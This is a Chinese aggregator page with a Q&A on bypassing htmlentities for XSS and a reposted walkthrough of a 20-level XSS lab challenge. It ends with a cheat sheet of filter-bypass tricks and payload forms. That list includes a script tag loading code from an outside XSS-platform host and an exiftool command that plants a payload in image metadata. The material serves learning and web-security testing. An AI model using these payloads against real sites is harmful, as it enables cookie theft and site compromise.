有啥 绕过 htmlentities 进行 xss 攻击的方法吗

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了有啥 绕过 htmlentities 进行 xss 攻击的方法吗相关的知识,希望对你有一定的参考价值。

参考技术A 函数:htmlentities(string,quotestyle,character-set)

参数二是可选的。
规定如何编码单引号和双引号。

ENT_COMPAT - 默认。仅编码双引号或不成对的单引号。

ENT_QUOTES - 编码双引号和单引号。

ENT_NOQUOTES - 不编码任何引号。
参数三也可选的,是转换的字符集类型。

有这么一种情形:当我们使用这个函数的时候,使用了参数二。设置了过滤掉双引号很单引号这些东西(或许不编码)就容易出现XSS。

如:

<?php
echo htmlspecialchars($_GET[url], ENT_QUOTES);
?>
替换掉url里面的单引号和双引号,看起来是过滤的不错的,但是如果这个url没有出现单引号或双引号呢?或者双引号和单引号以另外的情况出现呢(二次编码)?

关于二次编码:

<script>alert(document.cookie)</script>

如UTF-7编码后的

+ADw-SCRIPT+AD4-alert(document.cookie)+ADw-/SCRIPT+AD4-

最终为:
%2bADw-SCRIPT%2bAD4-alert(document.cookie)%2bADw-%2fSCRIPT%2bAD4-

可以考虑用于对付那些没有设置字符集,并且过滤了 <>的情况。

XSS绕过实战练习

前言

写这篇博文起源来自于一次网络安全实验课,在实验虚拟环境里有一个xss挑战,估计是搬别人的xss挑战进来,我觉得挺有意思,就记录一下。有些关卡不能再虚拟环境实践,我在自己物理机上找到那个xss挑战平台进行实现。

level1

未进行过滤,直接输入payload
payload:<script>alert(/xss/)</script>

level2

发现对html特殊符号进行了实体编码,<script>失效,但是发现下面input标签里还有一个输出点,可以对这个构造事件payload

XSS绕过实战练习

payload:" onclick=alert(/xss/)><"

当然需要点击一下触发

XSS绕过实战练习

level3

编码了双引号,但是源码里用的单引号,用单引号构造即可

payload:'onclick=alert(/xss/)><'

XSS绕过实战练习

level4

过滤了<>符号,我们只能用事件绕过,这里利用浏览器的容错特性,不闭合直接注释也能执行

payload:" onclick=alert(/xss/)//

XSS绕过实战练习

level5

有两处输出的地方,第一处对特殊符号进行了实体编码,第二处将on开头的事件全部替换加下斜杠,也将<script>标签替换为<scr_ipt>,并且做了转小写处理,这里因为匹配的是<script>标签,而不是script字符,所以可以使用javascript:alert(/xss/),并且可以闭合双引号,那我们就构造链接弹窗

XSS绕过实战练习

payload:"><a href=javascript:alert(/xss/)>xss</a>

点击xss

XSS绕过实战练习

level6

这里紧接就过滤了href标签,但是却没有做小写处理,可以用大写绕过匹配

payload:"><a Href=javascript:alert(/xss/)>xss</a>

或者:"><Script>alert(/xss/)</script>

XSS绕过实战练习

XSS绕过实战练习

level7

做了小写处理,将script和href,src,on等字符串替换为空字符

XSS绕过实战练习

猜测只替换了一次,我们可以用双写绕过

payload:

"><scrscriptipt>alert(/xss/)</scrscriptipt>
"><a hrhrefef=javascrscriptipt:alert(/xss/)>xss</a>
"><img srsrcc="" oonnerror=alert(/xss/)>
" oonnclick=alert(/xss/)><"

XSS绕过实战练习

level8

做了小写处理,将script和href,src,on等字符串加上下斜杠,使其无法正常解析,还将双引号实体编码,是我们不能闭合双引号

这里是一个a标签,用href构造一个链接

XSS绕过实战练习

想到可以调用外部js,但事实并没那么简单,因为完成目标需要在本页面弹窗,才会显示输出,并跳转到下一关

XSS绕过实战练习

因为这里是先添加一个链接,再打开这个链接,会打开另一个界面,就不在本界面弹窗,所以外部调用不可行

只能用伪协议javascript:alert(/xss/),但script会被替换

那我们只有尝试编码绕过了

用实体编码可绕过

payload:

十进制实体编码:javascrip&#116;:alert(/xss/)
十六进制实体编码:javascrip&#x74;:alert(/xss/)
都是将t字符进行实体编码,当然对其他字符进行编码也可以,目的在于绕过服务端的匹配。客户端解析时又会将其转码为t,从而弹窗

XSS绕过实战练习

level9

href里直接显示链接不合法,测试发现输入中必须包含http

XSS绕过实战练习

那我们用注释符绕过即可,构造payload

payload:javascrip&#116;:alert(/xss/)//http://192.168.1.3

或者javascrip&#x74;:alert(/xss/)//http://192.168.1.3

XSS绕过实战练习

level10

这里发现输出的地方进行了html实体编码,一时间没找到突破口

XSS绕过实战练习

查看源码才发现,t_sort变量的键值也是可定义的,过滤了<>符号,没有编码双引号,这里告诉我们要多测试一些变量

XSS绕过实战练习

paylaod:

" type="text" onclick=alert(/xss/)" #因为页面中没有触发事件框,所以type="text"构造一个文本框

XSS绕过实战练习

level11

查看源码发现多了一个键值t_ref,内容一看,不是上一题的url吗?猜测这是获取的http头里的referer字段

XSS绕过实战练习

伪造referer字段即可

这里由于实战环境在虚拟环境内,且无网,没有burpsuite工具,不方便操作

只给出payload

referer: " type="text" onclick=alert(/xss/)"

level12

查看源码多了键值t_ua,应该是浏览器的User-Agent

XSS绕过实战练习

同样用burpsuite伪造UA发包即可

paylaod:

User-Agent: " type="text" onclick=alert(/xss/)"


level13

查看源码多了键值t_cook,应该是cookie

XSS绕过实战练习

同样用burpsuite伪造cookie发包即可

payload:

Cookie: " type="text" onclick=alert(/xss/)"

level14

查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,所以,也无法实践

XSS绕过实战练习

exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗

具体实现使用kali下的exiftool工具

命令如下:

exiftool -FIELD=XSS FILE

exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg

level15

什么?让我自己走出去。这里看来只能在url里面操作

XSS绕过实战练习

发现src参数,查看源码发现把参数拼接到了最后一行输出,那这里应该是突破口了

这里估计使用ng-include,这个属性可以包含文件,默认是同域名的文件

XSS绕过实战练习

XSS绕过实战练习

那我们包含level1.php加上参数即可

payload:level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'

因为这里要访问上面的angular.min.js这个js文件,才能进行包含,虚拟环境里面无法访问那个js,因为需要fanqiang才能访问,根本没法实现,所以我找了外网的一样的xss挑战进行测试

成功包含level1弹窗

XSS绕过实战练习

level16

这一关过滤了空格,还有script字符串,也替换成空格,编码为&nbsp;

XSS绕过实战练习

这里我们可以使用换行符%0a(换行)或者%0d(回车)绕过

paylaod:<img%0asrc=x%0aonerror=alert(1)>

或者<svg%0aonload=alert(1)>

XSS绕过实战练习

level17

查看源码,发现swf文件

百度了一下,以为是flash xss,但是始终利用不成功,结果好像不需要这样利用

XSS绕过实战练习

直接把arg02赋值为

onclick=alert(1) #注意最前面有一个空格

查看源码发现自动补全了引号,我也不懂为啥

XSS绕过实战练习

level18

与上一关一样的payload

XSS绕过实战练习

level19

这一关没有自动添加双引号,自己写入的双引号也被编码。无法闭合,好像只有根据flash xss来构造payload,

level20

与上一关相似,待考究

总结

xss绕过方法

大小写绕过

<Script>alert(1)</Script>

双写绕过

<scrscriptipt>alert(1)</scrscriptipt>

替换绕过

过滤 alert 用prompt,confirm,top['alert'](1)代替绕过
过滤() 用``代替绕过
过滤空格 用%0a(换行符),%0d(回车符),/**/代替绕过
小写转大写情况下 字符ſ大写后为S(ſ不等于s)

%00截断绕过

<a href=javascr%00ipt:alert(1)>xss</a>

编码绕过

实体编码
javascrip&#x74;:alert(1) 十六进制
javascrip&#116;:alert(1) 十进制

unicode编码
javascrip\u0074:alert(1)

url编码
javascrip%74:alert(1)

fromCharCode方法绕过

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)
eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))

javascript伪协议绕过

无法闭合双引号的情况下,就无法使用onclick等事件,只能伪协议绕过,或者调用外部js

换行绕过正则匹配

onmousedown
=alert(1)

注释符

// 单行注释
<!-- --!> 注释多行内容
<!-- -->
注释多行内容
<-- --> 注释多行内容
<-- --!> 注释多行内容
--> 单行注释后面内容
/* */ 多行注释
有时还可以利用浏览器的容错性,不需要注释

闭合标签空格绕过

</style ><script>alert(1)</script>

@符号绕过url限制

例如:https://www.segmentfault.com@xss.haozi.me/j.js

其实访问的是@后面的内容

")逃逸函数后接分号

例:");alert(1)//

\绕过转义限制

例:

\")
alert(1) //

xss paylaod形式

<script>alert(1)</script>
<script src="http://xsspt.com/vA4t1W?1542101296"></script>
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">xss</a>
<svg onload=alert(1)>
<input type="text" name="test" onclick=alert(1)>
<iframe src="javascript:alert(/xss/)">xss</iframe>
<iframe srcdoc="<script>alert&#40;1&#41;</script>">

参考来源: jlzj's博客

如有侵权,请联系删除


以上是关于有啥 绕过 htmlentities 进行 xss 攻击的方法吗的主要内容,如果未能解决你的问题,请参考以下文章

使用htmlentities( )函数抵御跨站点脚本(XSS)攻击

addslashes,htmlspecialchars,htmlentities转换或者转义php特殊字符防止xss攻击以及sql注入

XSS绕过WAF进行SQL注入

XSS绕过实战练习

新型渗透手法:利用XSS绕过WAF进行SQL注入

新型攻击手法:利用XSS绕过WAF进行SQL注入